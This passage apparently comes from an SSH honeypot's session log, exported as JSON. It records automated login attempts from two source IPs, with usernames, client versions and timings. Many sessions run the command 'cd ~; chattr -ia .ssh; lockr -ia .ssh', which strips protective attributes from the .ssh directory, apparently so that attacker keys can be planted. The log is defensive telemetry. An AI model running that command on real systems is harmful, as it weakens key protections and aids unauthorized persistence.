  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 284,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:43:39.415312+00:00",
  "ended_at": "2026-08-26T14:43:41.429556+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2262
 },
 {
  "id": "25a0a3cc-6b87-4329-8f79-00422e0c9e27",
  "name": "dusty-tidal-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58856,
  "username": "alexandre",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:43:23.962711+00:00",
  "ended_at": "2026-08-26T14:43:24.921138+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c8e7484-75b4-4b82-8634-d2a80e45ceba",
  "name": "muted-arctic-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62098,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:43:21.845465+00:00",
  "ended_at": "2026-08-26T14:43:23.378692+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7598bea9-4da1-47d8-b026-d1a203a68e23",
  "name": "sincere-tender-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40725,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:42:31.000515+00:00",
  "ended_at": "2026-08-26T14:42:32.380142+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "802dd2d1-61a2-4b06-80f8-dbe692728819",
  "name": "sandy-obsidian-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40727,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:42:09.231614+00:00",
  "ended_at": "2026-08-26T14:42:10.635026+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a26688e9-19e6-49ab-a162-18b2e1ecbe58",
  "name": "cobalt-pewter-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40726,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:42:06.723898+00:00",
  "ended_at": "2026-08-26T14:42:07.732562+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cec4606-d4d9-4140-bc74-2b5a8e888a1a",
  "name": "scarlet-solar-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 51730,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 268,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:41:33.138217+00:00",
  "ended_at": "2026-08-26T14:41:34.797637+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "bcbf32ce-d96b-4123-85da-37baac209d51",
  "name": "woven-mindful-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51748,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:41:18.311589+00:00",
  "ended_at": "2026-08-26T14:41:19.728785+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3a7a3ed4-733f-4519-b6a1-d2e513313658",
  "name": "obsidian-faded-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51740,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:41:16.310154+00:00",
  "ended_at": "2026-08-26T14:41:17.784569+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fb4ca0ef-db05-46c4-b9fe-4cb668151541",
  "name": "supple-quiet-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40722,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:39:42.710893+00:00",
  "ended_at": "2026-08-26T14:39:44.286402+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "573b33b6-3eae-458e-b5ca-03759bf9cb6d",
  "name": "loyal-dusty-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 62216,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:39:21.006538+00:00",
  "ended_at": "2026-08-26T14:39:22.744954+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "40636307-ff66-46af-ba25-ecb11fe7801b",
  "name": "amber-inland-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40724,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:39:20.792467+00:00",
  "ended_at": "2026-08-26T14:39:22.174356+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0e9d567-4b63-4584-9790-af069e62fc0b",
  "name": "misty-thorny-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40723,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:39:17.909803+00:00",
  "ended_at": "2026-08-26T14:39:19.288229+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e79f8092-dfec-4618-93b9-9ccd7fb0ea31",
  "name": "crystal-russet-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62226,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:39:01.848656+00:00",
  "ended_at": "2026-08-26T14:39:03.738508+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "855446ec-1013-4fd5-882c-3c37d0d9a9a8",
  "name": "northern-tawny-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62224,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:38:59.408595+00:00",
  "ended_at": "2026-08-26T14:39:01.263174+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bdb39c75-9d9c-411a-a462-848f8b63369a",
  "name": "ashen-humble-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 58144,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:37:21.409105+00:00",
  "ended_at": "2026-08-26T14:37:22.312259+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "5ada0aaa-8ca6-459e-a378-738cee4e81d9",
  "name": "grassy-marbled-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40719,
  "username": "teamspeak",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:37:02.987773+00:00",
  "ended_at": "2026-08-26T14:37:04.629367+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2264
 },
 {
  "id": "d37821db-251e-4527-a069-5f98022a7a26",
  "name": "marine-mottled-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58162,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:36:58.912488+00:00",
  "ended_at": "2026-08-26T14:37:00.256289+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2ffd9c6-933d-4e82-830c-b60f3897d582",
  "name": "kindly-bold-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58152,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:36:57.057109+00:00",
  "ended_at": "2026-08-26T14:36:58.326784+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1fc0f6b8-371a-4a2f-bd6e-b7946a0e47eb",
  "name": "indigo-grassy-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40721,
  "username": "teamspeak",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:36:39.709460+00:00",
  "ended_at": "2026-08-26T14:36:41.612477+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1373702d-994e-44c6-a12f-f0a65d8637fe",
  "name": "subtle-amber-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40720,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:36:36.591012+00:00",
  "ended_at": "2026-08-26T14:36:38.198618+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "89f9cf55-6093-45e0-a19e-bd2df5e61d1b",
  "name": "golden-frugal-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64812,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:35:22.389541+00:00",
  "ended_at": "2026-08-26T14:35:23.705048+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "84c64f1f-27a4-4c6f-99eb-3b8b6fdb7e2f",
  "name": "thawing-humble-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55962,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:34:56.369047+00:00",
  "ended_at": "2026-08-26T14:34:58.275069+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7f025f9b-38ec-44d7-bdb2-4ebbaaddc188",
  "name": "civil-lonesome-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55952,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:34:54.058566+00:00",
  "ended_at": "2026-08-26T14:34:55.771196+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24d89739-dec6-4187-8b9e-2e8bf306c2a3",
  "name": "jolly-sunlit-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:34:15.066072+00:00",
  "ended_at": "2026-08-26T14:34:16.782068+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "c3821e0a-0646-449b-9fa3-68e95a4d598b",
  "name": "gallant-fabled-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40718,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:33:53.029446+00:00",
  "ended_at": "2026-08-26T14:33:54.936969+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d854674-3593-45f7-9fa4-7504cae1047b",
  "name": "smooth-frosty-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40717,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:33:50.148939+00:00",
  "ended_at": "2026-08-26T14:33:51.527917+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eae6fba8-c3b6-4260-ab9a-2a5f3edb67d0",
  "name": "brave-austere-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 56354,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 286,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:33:17.335120+00:00",
  "ended_at": "2026-08-26T14:33:18.473899+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "9a4b9bab-3894-408d-9f4e-d534b935bb13",
  "name": "mossy-cheerful-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60746,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:32:56.455689+00:00",
  "ended_at": "2026-08-26T14:32:57.429862+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "739b5321-74d0-4558-9170-ad7e986c135a",
  "name": "autumn-drifting-gull",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60732,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:32:54.276739+00:00",
  "ended_at": "2026-08-26T14:32:55.885289+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "faffdfda-db68-4f26-955b-e2d7f0083163",
  "name": "proud-vigilant-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40713,
  "username": "kamera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:31:31.396008+00:00",
  "ended_at": "2026-08-26T14:31:32.655176+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "2ecc14fe-0580-403a-af11-51c29521eb3e",
  "name": "cosmic-opal-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 50718,
  "username": "testftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 303,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:31:13.259582+00:00",
  "ended_at": "2026-08-26T14:31:14.892471+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "85a0297e-2e8c-4dd1-8f50-3d4655f3d88d",
  "name": "crisp-opal-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40715,
  "username": "kamera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:31:09.885687+00:00",
  "ended_at": "2026-08-26T14:31:11.044053+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ebd0ac21-b29b-4de1-9e8f-62205cd60f00",
  "name": "frosty-distant-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40714,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:31:06.728355+00:00",
  "ended_at": "2026-08-26T14:31:08.378586+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f67a1698-8fcd-4fff-b62a-eb9c38671815",
  "name": "spirited-lofty-serval",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51616,
  "username": "testftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:30:55.297629+00:00",
  "ended_at": "2026-08-26T14:30:56.558363+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3895146f-1d56-4fdb-8a79-713a4451fd70",
  "name": "cosmic-thawing-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 51600,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:30:53.514285+00:00",
  "ended_at": "2026-08-26T14:30:54.693634+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6891adec-d205-41a9-baec-2f5a5e4d3213",
  "name": "reedy-opal-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 58170,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:29:20.135184+00:00",
  "ended_at": "2026-08-26T14:29:21.950257+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "478fd561-fba4-4505-9c48-bd87de308891",
  "name": "ashen-dewy-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58188,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:28:57.498902+00:00",
  "ended_at": "2026-08-26T14:28:59.001996+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e4cb31f4-9082-4d5c-9c86-1ecfb29d2545",
  "name": "austere-ginger-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58184,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:28:55.022084+00:00",
  "ended_at": "2026-08-26T14:28:56.888327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f3f2e48-327e-409c-8bb4-cc94fec84ebd",
  "name": "civil-flinty-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40710,
  "username": "yangx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:28:41.209628+00:00",
  "ended_at": "2026-08-26T14:28:42.598668+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2239
 },
 {
  "id": "a8de53b8-1610-4ccd-b384-1e173411ebba",
  "name": "ancient-humble-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40712,
  "username": "yangx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:28:19.551384+00:00",
  "ended_at": "2026-08-26T14:28:21.136843+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69f46df5-863d-47d2-8ab1-570702eb117c",
  "name": "wandering-quiet-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40711,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:28:15.986198+00:00",
  "ended_at": "2026-08-26T14:28:18.041646+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bed0f065-88a9-4511-b220-7486a531d149",
  "name": "jolly-brisk-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64060,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:27:19.683969+00:00",
  "ended_at": "2026-08-26T14:27:21.927711+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "89a537ce-1175-4584-bcf3-29434c68c4a4",
  "name": "breezy-mindful-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58428,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:26:56.077641+00:00",
  "ended_at": "2026-08-26T14:26:57.253681+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e7747d1-04e8-4e34-99f1-a79b5e665eba",
  "name": "quiet-dusty-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 58418,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:26:54.063712+00:00",
  "ended_at": "2026-08-26T14:26:55.553853+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6db6a079-e5ba-43a2-9b1b-6773fc1a40c7",
  "name": "placid-proud-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40707,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 748,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:25:56.614579+00:00",
  "ended_at": "2026-08-26T14:25:57.789293+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "0d716dc8-0f34-48b1-9541-18497fde2099",
  "name": "twilight-alpine-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40709,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:25:34.748945+00:00",
  "ended_at": "2026-08-26T14:25:35.878007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5ab82833-68dd-47d5-9ee5-9dd2e33d4a78",
  "name": "cheerful-dewy-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40708,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:25:31.358334+00:00",
  "ended_at": "2026-08-26T14:25:33.259131+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ebbb7f1-d5fc-490f-9b3f-11e5171af2f9",
  "name": "loyal-flinty-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 50212,
  "username": "webuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:25:22.761801+00:00",
  "ended_at": "2026-08-26T14:25:24.511576+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "f204ce74-8583-4004-a3c0-aaf0b823c4cb",
  "name": "brisk-thrifty-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 50224,
  "username": "webuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
